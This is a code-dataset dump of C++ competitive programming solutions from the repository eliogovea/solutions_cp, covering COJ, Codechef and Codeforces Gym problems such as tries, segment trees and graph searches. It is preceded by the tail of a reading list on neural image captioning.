Aaron Courville, Ruslan Salakhutdinov, Richard Zemel, Yoshua Bengio. ICML 2015.\n* [Show and Tell: A Neural Image Caption Generator](https://arxiv.org/abs/1411.4555).By Oriol Vinyals, Alexander Toshev, Samy Bengio, Dumitru Erhan ICML 2015\n* [Microsoft COCO dataset](http://mscoco.org/)\n* [Blogpost describing soft attention in detail](https://blog.heuritech.com/2016/01/20/attention-mechanism/)\n* [Lecture 8 on RNN, ](http://www.di.ens.fr/~lelarge/dldiy/slides/lecture_8/index.html#1)\n* Implementations\n * [The original implementation in Theano](https://github.com/kelvinxu/arctic-captions)\n * [Neural Machine Translation (seq2seq) Tutorial](https://github.com/tensorflow/nmt)\n * [Neural Image Captioning by fregu856](https://github.com/fregu856/CS224n_project)\n * [Neural Image captioning by DeepRNN ](https://github.com/DeepRNN/image_captioning)\n * [An earlier implementation in Tensorflow](https://github.com/jazzsaxmafia/show_attend_and_tell.tensorflow)\n * [LSTM barebone numpy implementation](https://github.com/nicodjimenez/lstm)\n\n\n\n\n\n" } ]
3
eliogovea/solutions_cp
https://github.com/eliogovea/solutions_cp
001cf73566ee819990065ea054e5f110d3187777
088e45dc48bfb4d06be8a03f4b38e9211a5039df
6693c202f4aa960b05d7dfd0ac8e19a0d1199a16
refs/heads/master
2020-09-11T11:13:47.691359
2019-11-17T19:30:57
2019-11-17T19:30:57
222,045,090
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.39138081669807434, "alphanum_fraction": 0.41248899698257446, "avg_line_length": 20.739999771118164, "blob_id": "ab3eb6ec0d048f86aae5ed7f9daf63ebd84bcdf0", "content_id": "6063f1247a141e82f7f70f6094503235dbb0a7b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2274, "license_type": "no_license", "max_line_length": 105, "num_lines": 100, "path": "/COJ/eliogovea-cojAC/eliogovea-p3809-Accepted-s1120083.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int SIZE = 100 * 1000 + 2;\r\nconst int ALPH = 26;\r\nstruct trie {\r\n\tint size;\r\n\tint root;\r\n\tint go[SIZE][ALPH];\r\n\ttrie() {\r\n\t\tinit();\r\n\t}\r\n\tinline int getNew() {\r\n\t\tfill(go[size], go[size] + ALPH, -1);\r\n\t\treturn size++;\r\n\t}\r\n\tvoid init() {\r\n\t\tsize = 0;\r\n\t\troot = getNew();\r\n\t}\r\n\tint add(const string &s) {\r\n\t\tint cur = root;\r\n\t\tfor (int i = 0; i < (int)s.size(); i++) {\r\n\t\t\tif (go[cur][s[i] - 'a'] == -1) {\r\n\t\t\t\tgo[cur][s[i] - 'a'] = getNew();\r\n\t\t\t}\r\n\t\t\tcur = go[cur][s[i] - 'a'];\r\n\t\t}\r\n\t\treturn cur;\r\n\t}\r\n} pref, suff;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n, q, l;\r\n\twhile (cin >> n >> q >> l) {\r\n\t\tpref.init();\r\n\t\tsuff.init();\r\n\t\tvector <int> prefPos(l), suffPos(l);\r\n\t\tmap <pair <int, int>, int> m;\r\n\t\twhile (n--) {\r\n\t\t\tstring s;\r\n\t\t\tcin >> s;\r\n\t\t\t{\r\n\t\t\t\tint cur = pref.root;\r\n\t\t\t\tfor (int i = 0; i < l; i++) {\r\n\t\t\t\t\tif (pref.go[cur][s[i] - 'a'] == -1) {\r\n\t\t\t\t\t\tpref.go[cur][s[i] - 'a'] = pref.getNew();\r\n\t\t\t\t\t}\r\n\t\t\t\t\tprefPos[i] = cur = pref.go[cur][s[i] - 'a'];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{\r\n\t\t\t\tint cur = suff.root;\r\n\t\t\t\tfor (int i = l - 1; i >= 0; i--) {\r\n\t\t\t\t\tif (suff.go[cur][s[i] - 'a'] == -1) {\r\n\t\t\t\t\t\tsuff.go[cur][s[i] - 'a'] = suff.getNew();\r\n\t\t\t\t\t}\r\n\t\t\t\t\tsuffPos[i] = cur = suff.go[cur][s[i] - 'a'];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; i < l; i++) {\r\n\t\t\t\tm[make_pair((i == 0) ? 0 : prefPos[i - 1], (i == l - 1) ? 0 : suffPos[i + 1])]++;\r\n\t\t\t}\r\n\t\t}\r\n\t\twhile (q--) {\r\n\t\t\tstring s;\r\n\t\t\tcin >> s;\r\n\t\t\t{\r\n\t\t\t\tfill(prefPos.begin(), prefPos.end(), -1);\r\n\t\t\t\tint cur = pref.root;\r\n\t\t\t\tfor (int i = 0; i < l; i++) {\r\n\t\t\t\t\tif (pref.go[cur][s[i] - 'a'] == -1) {\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tprefPos[i] = cur = pref.go[cur][s[i] - 'a'];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{\r\n\t\t\t\tint cur = suff.root;\r\n\t\t\t\tfill(suffPos.begin(), suffPos.end(), -1);\r\n\t\t\t\tfor (int i = l - 1; i >= 0; i--) {\r\n\t\t\t\t\tif (suff.go[cur][s[i] - 'a'] == -1) {\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tsuffPos[i] = cur = suff.go[cur][s[i] - 'a'];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tint ans = 0;\r\n\t\t\tfor (int i = 0; i < l; i++) {\r\n\t\t\t\tif (m.find(make_pair((i == 0) ? 0 : prefPos[i - 1], (i == l - 1) ? 0 : suffPos[i + 1])) != m.end()) {\r\n\t\t\t\t\tans += m[make_pair((i == 0) ? 0 : prefPos[i - 1], (i == l - 1) ? 0 : suffPos[i + 1])];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << ans << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.5103092789649963, "alphanum_fraction": 0.5257731676101685, "avg_line_length": 15.636363983154297, "blob_id": "5524b6d3b9987d711a1fb4f83b181fdc9dde9691", "content_id": "4cd189e5e26a011e045e97795058c16ab14861ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 194, "license_type": "no_license", "max_line_length": 40, "num_lines": 11, "path": "/COJ/eliogovea-cojAC/eliogovea-p2189-Accepted-s629477.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ndouble k, m;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin >> k >> m;\r\n\tcout.precision(5);\r\n\tcout << fixed << 2.5 * (k - m) << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.45136186480522156, "alphanum_fraction": 0.46562904119491577, "avg_line_length": 18.289474487304688, "blob_id": "d0116d86b465f881d78d09bb45870569165c7e21", "content_id": "4ba86f2de019bedde28161e7470f1e3043d3f068", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 771, "license_type": "no_license", "max_line_length": 53, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2537-Accepted-s632011.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nint tc, n, sol;\r\npair<pair<int, int>, bool> P[10];\r\nbool mark[10];\r\n\r\nbool check() {\r\n\tfor (int i = 0; i < n; i++) mark[i] = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (P[i].second)\r\n return mark[P[i].first.second] == false;\r\n\t\telse\r\n\t\t\tfor (int j = P[i].first.second; ; j = (j + 1) % n)\r\n\t\t\t\tif (mark[j] == false) {\r\n\t\t\t\t\tmark[j] = true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tsol = 0;\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t\tcin >> P[i].first.second,\r\n\t\t\tP[i].first.first = i;\r\n\t\tP[0].second = true;\r\n\t\tdo {\r\n\t\t\tsol += check();\r\n\t\t} while (next_permutation(P, P + n));\r\n\t\tcout << sol << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3333333432674408, "alphanum_fraction": 0.3641618490219116, "avg_line_length": 17.22222137451172, "blob_id": "eb04f7f3e2a5d84bdd58f071d26d9c5271633f72", "content_id": "9cb74d4c4a6161090568a24f88c59d34abb9e982", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 519, "license_type": "no_license", "max_line_length": 54, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p3712-Accepted-s1009533.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n, m;\r\nint g[305][305];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n >> m) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tfor (int j = 1; j <= m; j++) {\r\n\t\t\t\tcin >> g[i][j];\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int c = 1; c <= m; c++) {\r\n\t\t\tfor (int r = 2; r <= n; r++) {\r\n\t\t\t\tg[r][c] = max(g[r - 2][c] + g[r][c], g[r - 1][c]);\r\n\t\t\t}\r\n\t\t\tif (c > 1) {\r\n\t\t\t\tg[n][c] = max(g[n][c - 2] + g[n][c], g[n][c - 1]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << g[n][m] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3571428656578064, "alphanum_fraction": 0.39030611515045166, "avg_line_length": 15.043478012084961, "blob_id": "495cae51ce8cdd3fc96d1bf31898ac6634f5dddc", "content_id": "ad89aa30a12671916c0298d69e74a73a8ee7e7dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 392, "license_type": "no_license", "max_line_length": 39, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p2474-Accepted-s474490.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint n,a[300000],t=1,mx;\r\n\r\nint main(){\r\n \r\n cin >> n;\r\n for(int i=0; i<n; i++)cin >> a[i];\r\n \r\n sort(a,a+n);\r\n \r\n mx=a[n-1]+1;\r\n \r\n for(int i=n-2; i>=0; i--){\r\n if(mx<a[i]+n-i)mx=a[i]+n-i;\r\n if(a[i]+n>=mx)t++;\r\n }\r\n \r\n cout << t << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3681693971157074, "alphanum_fraction": 0.3961748778820038, "avg_line_length": 16.626506805419922, "blob_id": "dbd51246339d48f880efc1b10914e94d65e96de6", "content_id": "2a550bbc81d991acbb9f046fbf1a0094665d1c7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1464, "license_type": "no_license", "max_line_length": 45, "num_lines": 83, "path": "/Codechef/LIGHTHSE.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nint n;\nint x[100005], y[100005];\n\nvoid mini(int &a, int b) {\n\tif (b < a) {\n\t\ta = b;\n\t}\n}\n\nvoid maxi(int &a, int b) {\n\tif (b > a) {\n\t\ta = b;\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tint minx = 1e9 + 5;\n\t\tint miny = 1e9 + 5;\n\t\tint maxx = -1e9 - 5;\n\t\tint maxy = -1e9 - 5;\n\t\tint left, right, down, up;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> x[i] >> y[i];\n\t\t\tmini(minx, x[i]);\n\t\t\tmini(miny, y[i]);\n\t\t\tmaxi(maxx, x[i]);\n\t\t\tmaxi(maxy, y[i]);\n\t\t\tif (x[i] == minx) {\n\t\t\t\tleft = i;\n\t\t\t}\n\t\t\tif (x[i] == maxx) {\n\t\t\t\tright = i;\n\t\t\t}\n\t\t\tif (y[i] == miny) {\n\t\t\t\tdown = i;\n\t\t\t}\n\t\t\tif (y[i] == maxy) {\n\t\t\t\tup = i;\n\t\t\t}\n\t\t}\n\t\tbool ok = false;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tif (x[i] == minx && y[i] == miny) {\n\t\t\t\tcout << \"1\\n\" << i + 1 << \" NE\\n\";\n\t\t\t\tok = true;\n\t\t\t} else if (x[i] == minx && y[i] == maxy) {\n\t\t\t\tcout << \"1\\n\" << i + 1 << \" SE\\n\";\n\t\t\t\tok = true;\n\t\t\t} else if (x[i] == maxx && y[i] == miny) {\n\t\t\t\tcout << \"1\\n\" << i + 1 << \" NW\\n\";\n\t\t\t\tok = true;\n\t\t\t} else if (x[i] == maxx && y[i] == maxy) {\n\t\t\t\tcout << \"1\\n\" << i + 1 << \" SW\\n\";\n\t\t\t\tok = true;\n\t\t\t}\n\t\t\tif (ok) {\n break;\n\t\t\t}\n\t\t}\n\t\tif (ok) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (y[left] < y[right]) {\n\t\t\tcout << \"2\\n\";\n\t\t\tcout << left + 1 << \" NE\\n\";\n\t\t\tcout << right + 1 << \" SW\\n\";\n\t\t} else {\n\t\t\tcout << \"2\\n\";\n\t\t\tcout << left + 1 << \" SE\\n\";\n\t\t\tcout << right + 1 << \" NW\\n\";\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.35514017939567566, "alphanum_fraction": 0.36915886402130127, "avg_line_length": 12.266666412353516, "blob_id": "fa29e28776a244dcc5e77b1d1da557afd4edc79e", "content_id": "009b98aa8d5689146b3ce27dbe0796829cde644b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 214, "license_type": "no_license", "max_line_length": 47, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2204-Accepted-s491492.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint c,n;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%d\",&n);\r\n for(int i=2; i<=n; i++)printf(\"%d \",i);\r\n printf(\"1\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3571428656578064, "alphanum_fraction": 0.4126984179019928, "avg_line_length": 16.11111068725586, "blob_id": "3f45889cc9b45410ed11122bd277b21ab4e076f1", "content_id": "3d7eaee0910f835b28152626495b3a0b27167f69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1386, "license_type": "no_license", "max_line_length": 102, "num_lines": 81, "path": "/Codeforces-Gym/100228 - 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)\n// 100228C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 1000100;\nconst int MAX = 1000000;\n\nvector<int> f[MAXN];\nbool mark[MAXN];\nint m[MAXN];\n\nint sol[MAXN];\nbool mk[MAXN];\n\nint getm( int p ){\n while( m[p] <= MAX && mk[ m[p] ] ){\n m[p] += p;\n }\n\n return m[p];\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n for( int i = 2; i <= MAX; i += 2 ){\n f[i].push_back( 2 );\n }\n\n int i;\n\n for( i = 3; i <= MAX; i += 2 ){\n if( !mark[i] ){\n for( int j = i; j <= MAX; j += i ){\n f[j].push_back(i);\n mark[j] = true;\n }\n }\n }\n\n for( int i = 1; i <= MAX; i++ ){\n m[i] = i;\n }\n\n sol[1] = 1;\n sol[2] = 2;\n\n mk[1] = true;\n mk[2] = true;\n\n int kk = 2;\n\n int cc = 2;\n\n for( int i = 3; cc < 300000; i++ ){\n int xi = 1000000;\n for( int j = 0; j < f[kk].size(); j++ ){\n xi = min( xi , getm( f[kk][j] ) );\n }\n\n mk[xi] = true;\n sol[xi] = i;\n kk = xi;\n\n if( kk <= 300000 ){\n cc++;\n }\n }\n\n int n;\n\n while( cin >> n, n ){\n cout << \"The number \" << n << \" appears in location \" << sol[n] << \".\\n\";\n }\n}\n" }, { "alpha_fraction": 0.44460228085517883, "alphanum_fraction": 0.4573863744735718, "avg_line_length": 17.55555534362793, "blob_id": "bbd417430c50e76e190c439de621adf89e80237c", "content_id": "c34fa4aff1fc25624b5c3d5696ed9ee737432771", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 704, "license_type": "no_license", "max_line_length": 70, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2740-Accepted-s587712.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 10000;\r\n\r\nint n, m, s, t[MAXN], mx;\r\nvector<int> G[MAXN], sol;\r\n\r\nvoid dfs(int u)\r\n{\r\n\tfor (vector<int>::iterator it = G[u].begin(); it != G[u].end(); it++)\r\n\t{\r\n\t\tt[*it] = t[u] + G[u].size();\r\n\t\tmx = max(mx, t[*it]);\r\n\t\tdfs(*it);\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\", &n, &m);\r\n\tfor (int i = 1, a, b; i <= m; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\", &a, &b);\r\n\t\tG[a].push_back(b);\r\n\t}\r\n\tscanf(\"%d\", &s);\r\n\tdfs(s);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tif (t[i] == mx) sol.push_back(i);\r\n\tprintf(\"%d\\n\", mx);\r\n\tfor (int i = 0; i < sol.size(); i++)\r\n\t\tprintf(\"%d%c\", sol[i], (i != (int)sol.size() - 1) ? ' ' : '\\n');\r\n}\r\n" }, { "alpha_fraction": 0.40454137325286865, "alphanum_fraction": 0.43471765518188477, "avg_line_length": 16.69832420349121, "blob_id": "5ef9359cab0b130988b566ce490b44c35b961378", "content_id": "f83b7f93830060635dce0a9cd1e26f91a1859561", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3347, "license_type": "no_license", "max_line_length": 63, "num_lines": 179, "path": "/COJ/eliogovea-cojAC/eliogovea-p2819-Accepted-s987262.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nconst int Size = 2;\r\nstruct matrix {\r\n\tint n;\r\n\tint v[Size + 1][Size + 1];\r\n\tmatrix(int v0 = 0) {\r\n\t\tfor (int i = 0; i < Size; i++) {\r\n\t\t\tfor (int j = 0; j < Size; j++) {\r\n\t\t\t\tv[i][j] = 0;\r\n\t\t\t}\r\n\t\t\tv[i][i] = v0;\r\n\t\t}\r\n\t}\r\n\tmatrix(int a, int b, int c, int d) {\r\n\t\tv[0][0] = a;\r\n\t\tv[0][1] = b;\r\n\t\tv[1][0] = c;\r\n\t\tv[1][1] = d;\r\n\t}\r\n\tint * operator [] (const int x) {\r\n\t\treturn v[x];\r\n\t}\r\n\tconst int * operator [] (const int x) const {\r\n\t\treturn v[x];\r\n\t}\r\n};\r\n\r\nmatrix operator + (const matrix &a, const matrix &b) {\r\n\tmatrix res(0);\r\n\tfor (int i = 0; i < Size; i++) {\r\n\t\tfor (int j = 0; j < Size; j++) {\r\n\t\t\tres[i][j] = a[i][j];\r\n\t\t\tadd(res[i][j], b[i][j]);\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res(0);\r\n\tfor (int i = 0; i < Size; i++) {\r\n\t\tfor (int j = 0; j < Size; j++) {\r\n\t\t\tfor (int k = 0; k < Size; k++) {\r\n\t\t\t\tadd(res[i][j], mul(a[i][k], b[k][j]));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, long long n) {\r\n\tmatrix res(1);\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int N = 100005;\r\nconst matrix F(1, 1, 1, 0);\r\n\r\nint a[N];\r\n\r\nmatrix st[4 * N];\r\nbool updated[4 * N];\r\nmatrix lazy[4 * N];\r\n\r\nvoid build(int x, int l, int r) {\r\n\tupdated[x] = true;\r\n\tlazy[x] = matrix(1);\r\n\tif (l == r) {\r\n\t\tst[x] = power(F, a[l]);\r\n\t} else {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tbuild(2 * x, l, mid);\r\n\t\tbuild(2 * x + 1, mid + 1, r);\r\n\t\tst[x] = st[2 * x] + st[2 * x + 1];\r\n\t}\r\n}\r\n\r\ninline void push(int x, int l, int r) {\r\n\tif (!updated[x]) {\r\n\t\tst[x] = st[x] * lazy[x];\r\n\t\tif (l != r) {\r\n\t\t\tupdated[2 * x] = false;\r\n\t\t\tlazy[2 * x] = lazy[2 * x] * lazy[x];\r\n\t\t\tupdated[2 * x + 1] = false;\r\n\t\t\tlazy[2 * x + 1] = lazy[2 * x + 1] * lazy[x];\r\n\t\t}\r\n\t\tupdated[x] = true;\r\n\t\tlazy[x] = matrix(1);\r\n\t}\r\n}\r\n\r\nvoid update(int x, int l, int r, int ul, int ur, long long v) {\r\n\tpush(x, l, r);\r\n\tif (l > ur || r < ul) {\r\n\t\treturn;\r\n\t}\r\n\tif (l >= ul && r <= ur) {\r\n updated[x] = false;\r\n\t\tlazy[x] = lazy[x] * power(F, v);\r\n\t\tpush(x, l, r);\r\n\t} else {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tupdate(2 * x, l, mid, ul, ur, v);\r\n\t\tupdate(2 * x + 1, mid + 1, r, ul, ur, v);\r\n\t\tst[x] = st[2 * x] + st[2 * x + 1];\r\n\t}\r\n}\r\n\r\nmatrix query(int x, int l, int r, int ql, int qr) {\r\n\tpush(x, l, r);\r\n\tif (l > qr || r < ql) {\r\n\t\treturn matrix(0);\r\n\t}\r\n\tif (l >= ql && r <= qr) {\r\n\t\treturn st[x];\r\n\t}\r\n\tint mid = (l + r) >> 1;\r\n\tmatrix q1 = query(2 * x, l, mid, ql, qr);\r\n\tmatrix q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n\treturn q1 + q2;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t}\r\n\t\tbuild(1, 1, n);\r\n\t\tint m;\r\n\t\tcin >> m;\r\n\t\twhile (m--) {\r\n\t\t\tint type;\r\n\t\t\tcin >> type;\r\n\t\t\tif (type == 1) {\r\n\t\t\t\tint l, r;\r\n\t\t\t\tcin >> l >> r;\r\n\t\t\t\tmatrix M = query(1, 1, n, l, r);\r\n\t\t\t\tint ans = 0;\r\n\t\t\t\tadd(ans, M[1][0]);\r\n\t\t\t\tadd(ans, M[1][1]);\r\n\t\t\t\tcout << ans << \"\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tint l, r;\r\n\t\t\t\tlong long v;\r\n\t\t\t\tcin >> l >> r >> v;\r\n\t\t\t\tupdate(1, 1, n, l, r, v);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37062937021255493, "alphanum_fraction": 0.38761240243911743, "avg_line_length": 22.414634704589844, "blob_id": "13735de8a794c2bd5093decd9ded1eb27b06af92", "content_id": "5be663b4de65a844d953b425744dd0634f57466b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1001, "license_type": "no_license", "max_line_length": 78, "num_lines": 41, "path": "/COJ/eliogovea-cojAC/eliogovea-p3017-Accepted-s691389.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 3017.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <sstream>\r\n#include <stack>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nstack<LL> S;\r\nstring line, str;\r\n\r\nint main() {\r\n\twhile (getline(cin, line)) {\r\n\t\tistringstream in(line);\r\n\t\twhile (in >> str) {\r\n\t\t\tint sz = str.size();\r\n\t\t\tif (sz == 1 && (str[0] < '0' || str[0] > '9')) {\r\n\t\t\t\tLL a = S.top(); S.pop();\r\n\t\t\t\tLL b = S.top(); S.pop();\r\n\t\t\t\tif (str[0] == '+') S.push(a + b);\r\n\t\t\t\telse if (str[0] == '*') S.push(a * b);\r\n\t\t\t\telse if (str[0] == '-') S.push(b - a);\r\n\t\t\t} else {\r\n\t\t\t\tLL tmp = 0;\r\n\t\t\t\tfor (int i = 0; i < sz; i++)\r\n\t\t\t\t\ttmp = 10LL * tmp + str[i] - '0';\r\n\t\t\t\tS.push(tmp);\r\n\t\t\t}\r\n\t\t}\r\n\t\tLL ans = S.top(); S.pop();\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39905470609664917, "alphanum_fraction": 0.437542200088501, "avg_line_length": 15.45555591583252, "blob_id": "e48d7111856de348576d34160c62b3be868de4b9", "content_id": "c99723c485305e1d915245137f8ae99deaf4f895", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1481, "license_type": "no_license", "max_line_length": 85, "num_lines": 90, "path": "/Codeforces-Gym/101174 - 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)\n// 101174C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\ntypedef pair<int,int> par;\ntypedef pair<int,par> tri;\n\nvector<int> g3[MAXN];\nvector<int> g2[MAXN];\n\nmap<tri,int> dic3;\nmap<par,int> dic2;\n\nint n3, n2;\n\nint p3[MAXN], p2[MAXN];\n\nint insert3( tri nod ){\n if( !dic3.count(nod) ){\n n3++;\n dic3[ nod ] = n3;\n }\n\n return dic3[ nod ];\n}\n\nint insert2( par nod ){\n if( !dic2.count(nod) ){\n n2++;\n dic2[ nod ] = n2;\n }\n\n return dic2[ nod ];\n}\n\nbool mk3[MAXN], mk2[MAXN];\n\nbool dfs( int u, int p, vector<int> *g, bool *mk , int *pp ){\n if( mk[u] ){\n return true;\n }\n\n mk[u] = true;\n pp[u] = p;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n\n if( v != p && pp[v] != u ){\n if( dfs( v , u , g , mk , pp ) ){\n return true;\n }\n }\n }\n\n return false;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int d, r, t;\n cin >> d >> r >> t;\n int ar = 4;\n int cr = 4;\n int at = ar - d;\n int ct = at == 3 ? 3 : 0;\n while (cr <= r) {\n int x = r - cr;\n if (t + x == ct) {\n cout << x << \"\\n\";\n return 0;\n }\n ar++;\n cr += ar;\n at++;\n if (at >= 3) {\n ct += at;\n }\n }\n return 0;\n}\n" }, { "alpha_fraction": 0.34090909361839294, "alphanum_fraction": 0.36868685483932495, "avg_line_length": 14.5, "blob_id": "478cc4d837298e8a6ce113761c7d4d31de17c674", "content_id": "331ef41a532984513702f0237c15f4b56bbabac1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 396, "license_type": "no_license", "max_line_length": 36, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2149-Accepted-s483525.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cstring>\r\nint t,up;\r\nchar c[500];\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&t);\r\n while(t--)\r\n {\r\n scanf(\"%s\",&c);\r\n int l=strlen(c);\r\n for(int i=0; i<l; i++)\r\n {\r\n int j=c[i];\r\n if(j<=122 && j>=97)up++;\r\n }\r\n if(up==l-up)printf(\"SI\\n\");\r\n else printf(\"NO\\n\");\r\n\r\n up=0;\r\n }\r\nreturn 0;\r\n}\r\n" }, 